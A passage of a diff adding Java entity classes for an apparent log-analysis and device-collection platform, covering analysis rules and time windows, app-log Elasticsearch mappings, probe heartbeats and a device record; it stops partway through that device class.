|
||||
private String fn;
|
||||
|
||||
/**
|
||||
* 聚合函数参数列表,JSON数组格式
|
||||
*/
|
||||
private Object arguments;
|
||||
|
||||
/**
|
||||
* 比较运算符(如>、<、=、>=、<=、IN、LIKE等)
|
||||
*/
|
||||
private String operator;
|
||||
|
||||
/**
|
||||
* 比较值,JSON格式存储
|
||||
*/
|
||||
private Object value;
|
||||
|
||||
/**
|
||||
* 基础类型标识
|
||||
*/
|
||||
private Integer baseType;
|
||||
|
||||
/**
|
||||
* 分类ID,用于条件分组归类
|
||||
*/
|
||||
private Integer categoryId;
|
||||
|
||||
/**
|
||||
* 创建部门ID
|
||||
*/
|
||||
private Long createDept;
|
||||
|
||||
/**
|
||||
* 删除标志:0-未删除 1-已删除
|
||||
*/
|
||||
@TableLogic
|
||||
private String delFlag;
|
||||
|
||||
/**
|
||||
* 记录创建时间
|
||||
*/
|
||||
private LocalDateTime createTime;
|
||||
|
||||
/**
|
||||
* 记录更新时间
|
||||
*/
|
||||
private LocalDateTime updateTime;
|
||||
|
||||
/**
|
||||
* 创建人ID
|
||||
*/
|
||||
private Long createBy;
|
||||
|
||||
/**
|
||||
* 更新人ID
|
||||
*/
|
||||
private Long updateBy;
|
||||
|
||||
/**
|
||||
* 备注说明
|
||||
*/
|
||||
private String remark;
|
||||
|
||||
/**
|
||||
* 租户ID
|
||||
*/
|
||||
private String tenantId;
|
||||
}
|
||||
+139
@@ -0,0 +1,139 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
/**
|
||||
* 分析时间窗口配置实体类
|
||||
*/
|
||||
@Data
|
||||
@Builder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class AnalysisGroupByWindow {
|
||||
|
||||
/**
|
||||
* 主键ID
|
||||
*/
|
||||
private Integer id;
|
||||
|
||||
/**
|
||||
* 分组ID
|
||||
*/
|
||||
private Integer groupById;
|
||||
|
||||
/**
|
||||
* 窗口类型:tumble/hop/session
|
||||
*/
|
||||
private String windowType;
|
||||
|
||||
// ============ 滚动窗口配置 ============
|
||||
|
||||
/**
|
||||
* 滚动窗口时间类型:second/minute/hour
|
||||
*/
|
||||
private String tumbleWindowTimeType;
|
||||
|
||||
/**
|
||||
* 滚动窗口大小
|
||||
*/
|
||||
private Integer tumbleWindowSize;
|
||||
|
||||
/**
|
||||
* 滚动窗口单位:s/m/h/d
|
||||
*/
|
||||
private String tumbleWindowSizeUnit;
|
||||
|
||||
// ============ 滑动窗口配置 ============
|
||||
|
||||
/**
|
||||
* 滑动窗口时间类型
|
||||
*/
|
||||
private String hopWindowTimeType;
|
||||
|
||||
/**
|
||||
* 滑动窗口大小
|
||||
*/
|
||||
private Integer hopWindowSize;
|
||||
|
||||
/**
|
||||
* 滑动窗口单位:s/m/h/d
|
||||
*/
|
||||
private String hopWindowSizeUnit;
|
||||
|
||||
/**
|
||||
* 滑动窗口步长
|
||||
*/
|
||||
private Integer hopWindowSlide;
|
||||
|
||||
/**
|
||||
* 滑动窗口步长单位:s/m/h/d
|
||||
*/
|
||||
private String hopWindowSlideUnit;
|
||||
|
||||
/**
|
||||
* 滑动窗口告警频率:是否每个窗口仅告警一次
|
||||
*/
|
||||
private Boolean hopWindowAlarmOncePerWindow;
|
||||
|
||||
// ============ 会话窗口配置 ============
|
||||
|
||||
/**
|
||||
* 会话窗口时间类型
|
||||
*/
|
||||
private String sessionWindowTimeType;
|
||||
|
||||
/**
|
||||
* 会话窗口超时时间
|
||||
*/
|
||||
private Integer sessionWindowSize;
|
||||
|
||||
/**
|
||||
* 会话窗口单位:s/m/h/d
|
||||
*/
|
||||
private String sessionWindowSizeUnit;
|
||||
|
||||
// ============ 公共字段 ============
|
||||
|
||||
/**
|
||||
* 创建部门
|
||||
*/
|
||||
private Long createDept;
|
||||
|
||||
/**
|
||||
* 删除标志:0-未删除,1-已删除
|
||||
*/
|
||||
private String delFlag;
|
||||
|
||||
/**
|
||||
* 创建时间
|
||||
*/
|
||||
private String createTime;
|
||||
|
||||
/**
|
||||
* 更新时间
|
||||
*/
|
||||
private String updateTime;
|
||||
|
||||
/**
|
||||
* 创建人
|
||||
*/
|
||||
private Long createBy;
|
||||
|
||||
/**
|
||||
* 更新人
|
||||
*/
|
||||
private Long updateBy;
|
||||
|
||||
/**
|
||||
* 备注
|
||||
*/
|
||||
private String remark;
|
||||
|
||||
/**
|
||||
* 租户ID
|
||||
*/
|
||||
private String tenantId;
|
||||
}
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
import java.util.UUID;
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
/**
|
||||
* 分析规则任务运行历史及状态记录
|
||||
*/
|
||||
@Data
|
||||
@Builder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class AnalysisTaskHistory {
|
||||
|
||||
/**
|
||||
* 记录ID
|
||||
*/
|
||||
private Long id;
|
||||
|
||||
/**
|
||||
* 规则ID
|
||||
*/
|
||||
private String ruleId;
|
||||
|
||||
/**
|
||||
* 开始时间
|
||||
*/
|
||||
private LocalDateTime startTime;
|
||||
|
||||
/**
|
||||
* 结束时间
|
||||
*/
|
||||
private LocalDateTime endTime;
|
||||
|
||||
/**
|
||||
* 持续时间(秒)
|
||||
*/
|
||||
private Long durationTime;
|
||||
|
||||
/**
|
||||
* 进度百分比
|
||||
*/
|
||||
private Integer progressPercent;
|
||||
|
||||
/**
|
||||
* 输入数据量
|
||||
*/
|
||||
private Long inputCount;
|
||||
|
||||
/**
|
||||
* 输出数据量
|
||||
*/
|
||||
private Long outputCount;
|
||||
|
||||
/**
|
||||
* 状态(RUNNING/CANCELED/KILLED/COMPLETED/FAILED)
|
||||
*/
|
||||
private String status;
|
||||
|
||||
/**
|
||||
* 创建部门ID
|
||||
*/
|
||||
private Long createDept;
|
||||
|
||||
/**
|
||||
* 删除标志(0-正常,1-删除)
|
||||
*/
|
||||
private String delFlag;
|
||||
|
||||
/**
|
||||
* 创建时间
|
||||
*/
|
||||
private LocalDateTime createTime;
|
||||
|
||||
/**
|
||||
* 更新时间
|
||||
*/
|
||||
private LocalDateTime updateTime;
|
||||
|
||||
/**
|
||||
* 创建人ID
|
||||
*/
|
||||
private Long createBy;
|
||||
|
||||
/**
|
||||
* 更新人ID
|
||||
*/
|
||||
private Long updateBy;
|
||||
|
||||
/**
|
||||
* 备注信息
|
||||
*/
|
||||
private String remark;
|
||||
|
||||
/**
|
||||
* 租户ID
|
||||
*/
|
||||
private String tenantId;
|
||||
}
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
/**
|
||||
* 用户自定义函数实体类
|
||||
*/
|
||||
@Data
|
||||
@Builder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class AnalysisUserDefinedFunction {
|
||||
|
||||
/**
|
||||
* 函数ID
|
||||
*/
|
||||
private String functionId;
|
||||
|
||||
/**
|
||||
* 规则ID
|
||||
*/
|
||||
private String ruleId;
|
||||
|
||||
/**
|
||||
* 函数名称
|
||||
*/
|
||||
private String functionName;
|
||||
|
||||
/**
|
||||
* 函数类型:AGGREGATE-聚合函数/SCALAR-标量函数/WINDOW-窗口函数
|
||||
*/
|
||||
private String functionType;
|
||||
|
||||
/**
|
||||
* 函数描述
|
||||
*/
|
||||
private String functionDesc;
|
||||
|
||||
/**
|
||||
* 函数实现SQL
|
||||
*/
|
||||
private String functionSql;
|
||||
|
||||
/**
|
||||
* 返回类型
|
||||
*/
|
||||
private String returnType;
|
||||
|
||||
/**
|
||||
* 参数定义(JSON格式)
|
||||
*/
|
||||
private String params;
|
||||
|
||||
/**
|
||||
* 启用状态
|
||||
*/
|
||||
private Boolean enabled;
|
||||
|
||||
/**
|
||||
* 删除标志:0-未删除 1-已删除
|
||||
*/
|
||||
private String delFlag;
|
||||
}
|
||||
+83
@@ -0,0 +1,83 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
/**
|
||||
* WHERE条件逻辑表实体类(仅存储条件逻辑组信息)
|
||||
*/
|
||||
@Data
|
||||
@Builder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class AnalysisWhereCondition {
|
||||
|
||||
/**
|
||||
* 条件ID
|
||||
*/
|
||||
private Integer condId;
|
||||
|
||||
/**
|
||||
* 规则ID
|
||||
*/
|
||||
private String ruleId;
|
||||
|
||||
/**
|
||||
* 逻辑运算符:AND, OR
|
||||
*/
|
||||
private String logicalOp;
|
||||
|
||||
/**
|
||||
* 序号
|
||||
*/
|
||||
private Integer seqNum;
|
||||
|
||||
/**
|
||||
* 父节点ID
|
||||
*/
|
||||
private Integer parentCondId;
|
||||
|
||||
/**
|
||||
* 创建部门ID
|
||||
*/
|
||||
private Long createDept;
|
||||
|
||||
/**
|
||||
* 删除标志:0-未删除 1-已删除
|
||||
*/
|
||||
private String delFlag;
|
||||
|
||||
/**
|
||||
* 创建时间
|
||||
*/
|
||||
private LocalDateTime createTime;
|
||||
|
||||
/**
|
||||
* 更新时间
|
||||
*/
|
||||
private LocalDateTime updateTime;
|
||||
|
||||
/**
|
||||
* 创建人ID
|
||||
*/
|
||||
private Long createBy;
|
||||
|
||||
/**
|
||||
* 更新人ID
|
||||
*/
|
||||
private Long updateBy;
|
||||
|
||||
/**
|
||||
* 备注信息
|
||||
*/
|
||||
private String remark;
|
||||
|
||||
/**
|
||||
* 租户ID
|
||||
*/
|
||||
private String tenantId;
|
||||
}
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
package com.common.entity;
|
||||
|
||||
public class ApiResponse<T> {
|
||||
|
||||
private boolean success;
|
||||
private String message;
|
||||
private T data;
|
||||
private String errorCode;
|
||||
|
||||
// 成功响应
|
||||
public static <T> ApiResponse<T> success(T data) {
|
||||
ApiResponse<T> response = new ApiResponse<>();
|
||||
response.setSuccess(true);
|
||||
response.setMessage("操作成功");
|
||||
response.setData(data);
|
||||
return response;
|
||||
}
|
||||
|
||||
public static <T> ApiResponse<T> success(String message, T data) {
|
||||
ApiResponse<T> response = new ApiResponse<>();
|
||||
response.setSuccess(true);
|
||||
response.setMessage(message);
|
||||
response.setData(data);
|
||||
return response;
|
||||
}
|
||||
|
||||
// 失败响应
|
||||
public static <T> ApiResponse<T> error(String message) {
|
||||
ApiResponse<T> response = new ApiResponse<>();
|
||||
response.setSuccess(false);
|
||||
response.setMessage(message);
|
||||
return response;
|
||||
}
|
||||
|
||||
public static <T> ApiResponse<T> error(String message, String errorCode) {
|
||||
ApiResponse<T> response = new ApiResponse<>();
|
||||
response.setSuccess(false);
|
||||
response.setMessage(message);
|
||||
response.setErrorCode(errorCode);
|
||||
return response;
|
||||
}
|
||||
|
||||
// Getter和Setter方法
|
||||
public boolean isSuccess() {
|
||||
return success;
|
||||
}
|
||||
|
||||
public void setSuccess(boolean success) {
|
||||
this.success = success;
|
||||
}
|
||||
|
||||
public String getMessage() {
|
||||
return message;
|
||||
}
|
||||
|
||||
public void setMessage(String message) {
|
||||
this.message = message;
|
||||
}
|
||||
|
||||
public T getData() {
|
||||
return data;
|
||||
}
|
||||
|
||||
public void setData(T data) {
|
||||
this.data = data;
|
||||
}
|
||||
|
||||
public String getErrorCode() {
|
||||
return errorCode;
|
||||
}
|
||||
|
||||
public void setErrorCode(String errorCode) {
|
||||
this.errorCode = errorCode;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package com.common.entity;
|
||||
|
||||
|
||||
import lombok.Data;
|
||||
import org.springframework.data.annotation.Id;
|
||||
import org.springframework.data.elasticsearch.annotations.Document;
|
||||
import org.springframework.data.elasticsearch.annotations.Field;
|
||||
import org.springframework.data.elasticsearch.annotations.FieldType;
|
||||
|
||||
import java.util.Date;
|
||||
|
||||
@Data
|
||||
//@Document(indexName = "applog-#{T(java.time.LocalDate).now().format(T(java.time.format.DateTimeFormatter).ofPattern('yyyyMMdd'))}")
|
||||
public class AppLog {
|
||||
|
||||
// ES元数据字段
|
||||
@Id
|
||||
private String id;
|
||||
|
||||
@Field(type = FieldType.Keyword)
|
||||
private String index;
|
||||
|
||||
@Field(type = FieldType.Keyword)
|
||||
private String type = "_doc";
|
||||
|
||||
@Field(type = FieldType.Float)
|
||||
private Float score = 1.0f;
|
||||
|
||||
// 日志内容字段(对应_source)
|
||||
@Field(name = "dtTime", type = FieldType.Long)
|
||||
private Long dtTime;
|
||||
|
||||
@Field(name = "collecttime", type = FieldType.Long)
|
||||
private Long collectTime;
|
||||
|
||||
@Field(name = "logType", type = FieldType.Keyword)
|
||||
private String logType;
|
||||
|
||||
@Field(name = "traceId", type = FieldType.Keyword)
|
||||
private String traceId;
|
||||
|
||||
@Field(name = "method", type = FieldType.Text)
|
||||
private String method;
|
||||
|
||||
@Field(name = "appName", type = FieldType.Keyword)
|
||||
private String appName;
|
||||
|
||||
@Field(name = "ip", type = FieldType.Keyword)
|
||||
private String ip;
|
||||
|
||||
@Field(name = "className", type = FieldType.Text)
|
||||
private String className;
|
||||
|
||||
@Field(name = "env", type = FieldType.Keyword)
|
||||
private String env;
|
||||
|
||||
@Field(name = "content", type = FieldType.Text)
|
||||
private String content;
|
||||
|
||||
@Field(name = "threadName", type = FieldType.Text)
|
||||
private String threadName;
|
||||
|
||||
@Field(name = "logLevel", type = FieldType.Keyword)
|
||||
private String logLevel;
|
||||
|
||||
@Field(name = "seq", type = FieldType.Keyword)
|
||||
private String seq;
|
||||
|
||||
@Field(name = "_indexed_at", type = FieldType.Long)
|
||||
private Long indexedAt;
|
||||
|
||||
// 系统字段
|
||||
private Date createTime = new Date();
|
||||
}
|
||||
+40
@@ -0,0 +1,40 @@
|
||||
package com.common.entity;
|
||||
|
||||
|
||||
import lombok.Data;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
@Data
|
||||
public class AppLogEntity {
|
||||
private Long id;
|
||||
|
||||
// ES元数据字段
|
||||
private String esIndex;
|
||||
private String esType = "_doc";
|
||||
private String esId;
|
||||
private Float esScore = 1.0f;
|
||||
|
||||
// 日志内容字段
|
||||
private Long dtTime;
|
||||
private Long collectTime;
|
||||
private String logType;
|
||||
private String traceId;
|
||||
private String method;
|
||||
private String appName;
|
||||
private String ip;
|
||||
private String className;
|
||||
private String env;
|
||||
private String content;
|
||||
private String threadName;
|
||||
private String logLevel;
|
||||
private String seq;
|
||||
private Long indexedAt;
|
||||
|
||||
// 分区字段
|
||||
private LocalDateTime logDate;
|
||||
|
||||
// 系统字段
|
||||
private LocalDateTime createdAt;
|
||||
private LocalDateTime updatedAt;
|
||||
}
|
||||
+82
@@ -0,0 +1,82 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.Data;
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
/**
|
||||
* 探针心跳状态实体类
|
||||
* 对应表: device_collect_heartbeat
|
||||
*/
|
||||
@Data
|
||||
public class DeviceCollectHeartbeat {
|
||||
|
||||
/** 自增主键 */
|
||||
private Long id;
|
||||
|
||||
/** 探针唯一标识(由探针上报) */
|
||||
private String collectId;
|
||||
|
||||
/** 探针名称(可选) */
|
||||
private String collectName;
|
||||
|
||||
/** 探针IP(支持IPv6) */
|
||||
private String deviceIp;
|
||||
|
||||
/** 探针版本 */
|
||||
private String appVersion;
|
||||
|
||||
/** 最后一次心跳时间(毫秒精度) */
|
||||
private LocalDateTime lastHeartbeat;
|
||||
|
||||
/** 累计心跳次数(可监控丢包率) */
|
||||
private Long heartbeatCount;
|
||||
|
||||
/** 在线状态:online / offline */
|
||||
private String status;
|
||||
|
||||
/** 连续心跳失败次数(平台侧计算) */
|
||||
private Integer failCount;
|
||||
|
||||
/** 最后更新时间 */
|
||||
private LocalDateTime updateTime;
|
||||
|
||||
|
||||
|
||||
|
||||
public DeviceCollectHeartbeat() {
|
||||
this.heartbeatCount = 1L;
|
||||
this.status = "online";
|
||||
this.failCount = 0;
|
||||
this.updateTime = LocalDateTime.now();
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* 更新心跳
|
||||
*/
|
||||
public void updateHeartbeat() {
|
||||
this.lastHeartbeat = LocalDateTime.now();
|
||||
this.heartbeatCount = (this.heartbeatCount == null ? 1L : this.heartbeatCount + 1);
|
||||
this.status = "online";
|
||||
this.failCount = 0;
|
||||
this.updateTime = LocalDateTime.now();
|
||||
}
|
||||
|
||||
/**
|
||||
* 标记为离线
|
||||
*/
|
||||
public void markOffline() {
|
||||
this.status = "offline";
|
||||
this.failCount = (this.failCount == null ? 1 : this.failCount + 1);
|
||||
this.updateTime = LocalDateTime.now();
|
||||
}
|
||||
|
||||
/**
|
||||
* 恢复在线
|
||||
*/
|
||||
public void markOnline() {
|
||||
this.status = "online";
|
||||
this.failCount = 0;
|
||||
this.updateTime = LocalDateTime.now();
|
||||
}
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.Data;
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
/**
|
||||
* 探针心跳历史记录实体类
|
||||
* 对应表: device_collect_heartbeat_history
|
||||
*/
|
||||
@Data
|
||||
public class DeviceCollectHeartbeatHistory {
|
||||
|
||||
/** 自增主键 */
|
||||
private Long id;
|
||||
|
||||
/** 探针唯一标识 */
|
||||
private String collectId;
|
||||
|
||||
/** 心跳上报时间 */
|
||||
private LocalDateTime heartbeatTime;
|
||||
|
||||
/** 探针IP */
|
||||
private String deviceIp;
|
||||
|
||||
/** 探针版本 */
|
||||
private String appVersion;
|
||||
|
||||
/** 记录创建时间 */
|
||||
private LocalDateTime createdAt;
|
||||
|
||||
|
||||
public DeviceCollectHeartbeatHistory() {
|
||||
this.createdAt = LocalDateTime.now();
|
||||
}
|
||||
|
||||
/**
|
||||
* 从心跳状态创建历史记录
|
||||
*/
|
||||
public static DeviceCollectHeartbeatHistory fromHeartbeat(DeviceCollectHeartbeat heartbeat) {
|
||||
DeviceCollectHeartbeatHistory history = new DeviceCollectHeartbeatHistory();
|
||||
history.setCollectId(heartbeat.getCollectId());
|
||||
history.setHeartbeatTime(heartbeat.getLastHeartbeat());
|
||||
history.setDeviceIp(heartbeat.getDeviceIp());
|
||||
history.setAppVersion(heartbeat.getAppVersion());
|
||||
history.setCreatedAt(LocalDateTime.now());
|
||||
return history;
|
||||
}
|
||||
}
|
||||
+98
@@ -0,0 +1,98 @@
|
||||
package com.common.entity;
|
||||
|
||||
import java.time.OffsetDateTime;
|
||||
|
||||
public class DeviceCollectTask {
|
||||
private Integer id;
|
||||
private OffsetDateTime createdAt;
|
||||
private OffsetDateTime updatedAt;
|
||||
private OffsetDateTime deletedAt;
|
||||
private Integer deviceId;
|
||||
private Integer method;
|
||||
private String taskName;
|
||||
private OffsetDateTime firstTime;
|
||||
private OffsetDateTime lastSuccessTime;
|
||||
private OffsetDateTime lastFailedTime;
|
||||
private Integer detailId;
|
||||
private Integer epm;
|
||||
private Integer epmPeak;
|
||||
private Integer processArchitecture;
|
||||
private Integer taskCount;
|
||||
private OffsetDateTime recentDiscoverTime;
|
||||
private Integer epmUpperLimit;
|
||||
|
||||
// Getter and Setter 方法
|
||||
public Integer getId() { return id; }
|
||||
public void setId(Integer id) { this.id = id; }
|
||||
|
||||
public OffsetDateTime getCreatedAt() { return createdAt; }
|
||||
public void setCreatedAt(OffsetDateTime createdAt) { this.createdAt = createdAt; }
|
||||
|
||||
public OffsetDateTime getUpdatedAt() { return updatedAt; }
|
||||
public void setUpdatedAt(OffsetDateTime updatedAt) { this.updatedAt = updatedAt; }
|
||||
|
||||
public OffsetDateTime getDeletedAt() { return deletedAt; }
|
||||
public void setDeletedAt(OffsetDateTime deletedAt) { this.deletedAt = deletedAt; }
|
||||
|
||||
public Integer getDeviceId() { return deviceId; }
|
||||
public void setDeviceId(Integer deviceId) { this.deviceId = deviceId; }
|
||||
|
||||
public Integer getMethod() { return method; }
|
||||
public void setMethod(Integer method) { this.method = method; }
|
||||
|
||||
public String getTaskName() { return taskName; }
|
||||
public void setTaskName(String taskName) { this.taskName = taskName; }
|
||||
|
||||
public OffsetDateTime getFirstTime() { return firstTime; }
|
||||
public void setFirstTime(OffsetDateTime firstTime) { this.firstTime = firstTime; }
|
||||
|
||||
public OffsetDateTime getLastSuccessTime() { return lastSuccessTime; }
|
||||
public void setLastSuccessTime(OffsetDateTime lastSuccessTime) { this.lastSuccessTime = lastSuccessTime; }
|
||||
|
||||
public OffsetDateTime getLastFailedTime() { return lastFailedTime; }
|
||||
public void setLastFailedTime(OffsetDateTime lastFailedTime) { this.lastFailedTime = lastFailedTime; }
|
||||
|
||||
public Integer getDetailId() { return detailId; }
|
||||
public void setDetailId(Integer detailId) { this.detailId = detailId; }
|
||||
|
||||
public Integer getEpm() { return epm; }
|
||||
public void setEpm(Integer epm) { this.epm = epm; }
|
||||
|
||||
public Integer getEpmPeak() { return epmPeak; }
|
||||
public void setEpmPeak(Integer epmPeak) { this.epmPeak = epmPeak; }
|
||||
|
||||
public Integer getProcessArchitecture() { return processArchitecture; }
|
||||
public void setProcessArchitecture(Integer processArchitecture) { this.processArchitecture = processArchitecture; }
|
||||
|
||||
public Integer getTaskCount() { return taskCount; }
|
||||
public void setTaskCount(Integer taskCount) { this.taskCount = taskCount; }
|
||||
|
||||
public OffsetDateTime getRecentDiscoverTime() { return recentDiscoverTime; }
|
||||
public void setRecentDiscoverTime(OffsetDateTime recentDiscoverTime) { this.recentDiscoverTime = recentDiscoverTime; }
|
||||
|
||||
public Integer getEpmUpperLimit() { return epmUpperLimit; }
|
||||
public void setEpmUpperLimit(Integer epmUpperLimit) { this.epmUpperLimit = epmUpperLimit; }
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "DeviceCollectTask{" +
|
||||
"id=" + id +
|
||||
", createdAt=" + createdAt +
|
||||
", updatedAt=" + updatedAt +
|
||||
", deletedAt=" + deletedAt +
|
||||
", deviceId=" + deviceId +
|
||||
", method=" + method +
|
||||
", taskName='" + taskName + '\'' +
|
||||
", firstTime=" + firstTime +
|
||||
", lastSuccessTime=" + lastSuccessTime +
|
||||
", lastFailedTime=" + lastFailedTime +
|
||||
", detailId=" + detailId +
|
||||
", epm=" + epm +
|
||||
", epmPeak=" + epmPeak +
|
||||
", processArchitecture=" + processArchitecture +
|
||||
", taskCount=" + taskCount +
|
||||
", recentDiscoverTime=" + recentDiscoverTime +
|
||||
", epmUpperLimit=" + epmUpperLimit +
|
||||
'}';
|
||||
}
|
||||
}
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.Data;
|
||||
import java.time.LocalDateTime;
|
||||
@Data
|
||||
public class DeviceCollectTaskTime {
|
||||
private String deviceCollectId;
|
||||
private LocalDateTime firstTime; // 首次成功时间
|
||||
private LocalDateTime lastSuccessTime; // 最后成功时间
|
||||
private LocalDateTime lastFailTime; // 最后失败时间
|
||||
}
|
||||
+376
@@ -0,0 +1,376 @@
|
||||
package com.common.entity;
|
||||
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
import java.time.OffsetDateTime;
|
||||
public class DeviceDevice {
|
||||
public Integer id;
|
||||
public LocalDateTime createdAt;
|
||||
public LocalDateTime updatedAt;
|
||||
public LocalDateTime deletedAt;
|
||||
public String name;
|
||||
public String ip;
|
||||
public Integer deviceGroup;
|
||||
public Integer deviceType;
|
||||
public String vendor;
|
||||
public String productName;
|
||||
public Integer organizationId;
|
||||
public LocalDateTime lastReceiveTime;
|
||||
public Integer agentId;
|
||||
public Integer detailId;
|
||||
public Integer controlAgentId;
|
||||
public LocalDateTime licenseStartTime;
|
||||
public LocalDateTime licenseEndTime;
|
||||
public Boolean isMonitoring;
|
||||
public Long securityScopeId;
|
||||
public Long ownerId;
|
||||
public Long sshConfigId;
|
||||
public Short status;
|
||||
public Long createdById;
|
||||
public Integer decodeType;
|
||||
public Integer missPolicy;
|
||||
public String tenantId;
|
||||
public LocalDateTime createTime;
|
||||
public LocalDateTime updateTime;
|
||||
public Long createBy;
|
||||
public Long updateBy;
|
||||
public String delFlag;
|
||||
public String managerName;
|
||||
public Integer todayParseCount;
|
||||
public Integer todayNonLogCount;
|
||||
public Long createDept;
|
||||
public Integer deviceCollectId;
|
||||
|
||||
|
||||
// Getter and Setter methods
|
||||
public Integer getId() {
|
||||
return id;
|
||||
}
|
||||
|
||||
public void setId(Integer id) {
|
||||
this.id = id;
|
||||
}
|
||||
|
||||
public LocalDateTime getCreatedAt() {
|
||||
return createdAt;
|
||||
}
|
||||
|
||||
public void setCreatedAt(LocalDateTime createdAt) {
|
||||
this.createdAt = createdAt;
|
||||
}
|
||||
|
||||
public LocalDateTime getUpdatedAt() {
|
||||
return updatedAt;
|
||||
}
|
||||
|
||||
public void setUpdatedAt(LocalDateTime updatedAt) {
|
||||
this.updatedAt = updatedAt;
|
||||
}
|
||||
|
||||
public LocalDateTime getDeletedAt() {
|
||||
return deletedAt;
|
||||
}
|
||||
|
||||
public void setDeletedAt(LocalDateTime deletedAt) {
|
||||
this.deletedAt = deletedAt;
|
||||
}
|
||||
|
||||
public String getName() {
|
||||
return name;
|
||||
}
|
||||
|
||||
public void setName(String name) {
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
public String getIp() {
|
||||
return ip;
|
||||
}
|
||||
|
||||
public void setIp(String ip) {
|
||||
this.ip = ip;
|
||||
}
|
||||
|
||||
public Integer getDeviceGroup() {
|
||||
return deviceGroup;
|
||||
}
|
||||
|
||||
public void setDeviceGroup(Integer deviceGroup) {
|
||||
this.deviceGroup = deviceGroup;
|
||||
}
|
||||
|
||||
public Integer getDeviceType() {
|
||||
return deviceType;
|
||||
}
|
||||
|
||||
public void setDeviceType(Integer deviceType) {
|
||||
this.deviceType = deviceType;
|
||||
}
|
||||
|
||||
public String getVendor() {
|
||||
return vendor;
|
||||
}
|
||||
|
||||
public void setVendor(String vendor) {
|
||||
this.vendor = vendor;
|
||||
}
|
||||
|
||||
public String getProductName() {
|
||||
return productName;
|
||||
}
|
||||
|
||||
public void setProductName(String productName) {
|
||||
this.productName = productName;
|
||||
}
|
||||
|
||||
public Integer getOrganizationId() {
|
||||
return organizationId;
|
||||
}
|
||||
|
||||
public void setOrganizationId(Integer organizationId) {
|
||||
this.organizationId = organizationId;
|
||||
}
|
||||
|
||||
public LocalDateTime getLastReceiveTime() {
|
||||
return lastReceiveTime;
|
||||
}
|
||||
|
||||
public void setLastReceiveTime(LocalDateTime lastReceiveTime) {
|
||||
this.lastReceiveTime = lastReceiveTime;
|
||||
}
|
||||
|
||||
public Integer getAgentId() {
|
||||
return agentId;
|
||||
}
|
||||
|
||||
public void setAgentId(Integer agentId) {
|
||||
this.agentId = agentId;
|
||||
}
|
||||
|
||||
public Integer getDetailId() {
|
||||
return detailId;
|
||||
}
|
||||
|
||||
public void setDetailId(Integer detailId) {
|
||||
this.detailId = detailId;
|
||||
}
|
||||
|
||||
public Integer getControlAgentId() {
|
||||
return controlAgentId;
|
||||
}
|
||||
|
||||
public void setControlAgentId(Integer controlAgentId) {
|
||||
this.controlAgentId = controlAgentId;
|
||||
}
|
||||
|
||||
public LocalDateTime getLicenseStartTime() {
|
||||
return licenseStartTime;
|
||||
}
|
||||
|
||||
public void setLicenseStartTime(LocalDateTime licenseStartTime) {
|
||||
this.licenseStartTime = licenseStartTime;
|
||||
}
|
||||
|
||||
public LocalDateTime getLicenseEndTime() {
|
||||
return licenseEndTime;
|
||||
}
|
||||
|
||||
public void setLicenseEndTime(LocalDateTime licenseEndTime) {
|
||||
this.licenseEndTime = licenseEndTime;
|
||||
}
|
||||
|
||||
public Boolean getIsMonitoring() {
|
||||
return isMonitoring;
|
||||
}
|
||||
|
||||
public void setIsMonitoring(Boolean isMonitoring) {
|
||||
this.isMonitoring = isMonitoring;
|
||||
}
|
||||
|
||||
public Long getSecurityScopeId() {
|
||||
return securityScopeId;
|
||||
}
|
||||
|
||||
public void setSecurityScopeId(Long securityScopeId) {
|
||||
this.securityScopeId = securityScopeId;
|
||||
}
|
||||
|
||||
public Long getOwnerId() {
|
||||
return ownerId;
|
||||
}
|
||||
|
||||
public void setOwnerId(Long ownerId) {
|
||||
this.ownerId = ownerId;
|
||||
}
|
||||
|
||||
public Long getSshConfigId() {
|
||||
return sshConfigId;
|
||||
}
|
||||
|
||||
public void setSshConfigId(Long sshConfigId) {
|
||||
this.sshConfigId = sshConfigId;
|
||||
}
|
||||
|
||||
public Short getStatus() {
|
||||
return status;
|
||||
}
|
||||
|
||||
public void setStatus(Short status) {
|
||||
this.status = status;
|
||||
}
|
||||
|
||||
public Long getCreatedById() {
|
||||
return createdById;
|
||||
}
|
||||
|
||||
public void setCreatedById(Long createdById) {
|
||||
this.createdById = createdById;
|
||||
}
|
||||
|
||||
public Integer getDecodeType() {
|
||||
return decodeType;
|
||||
}
|
||||
|
||||
public void setDecodeType(Integer decodeType) {
|
||||
this.decodeType = decodeType;
|
||||
}
|
||||
|
||||
public Integer getMissPolicy() {
|
||||
return missPolicy;
|
||||
}
|
||||
|
||||
public void setMissPolicy(Integer missPolicy) {
|
||||
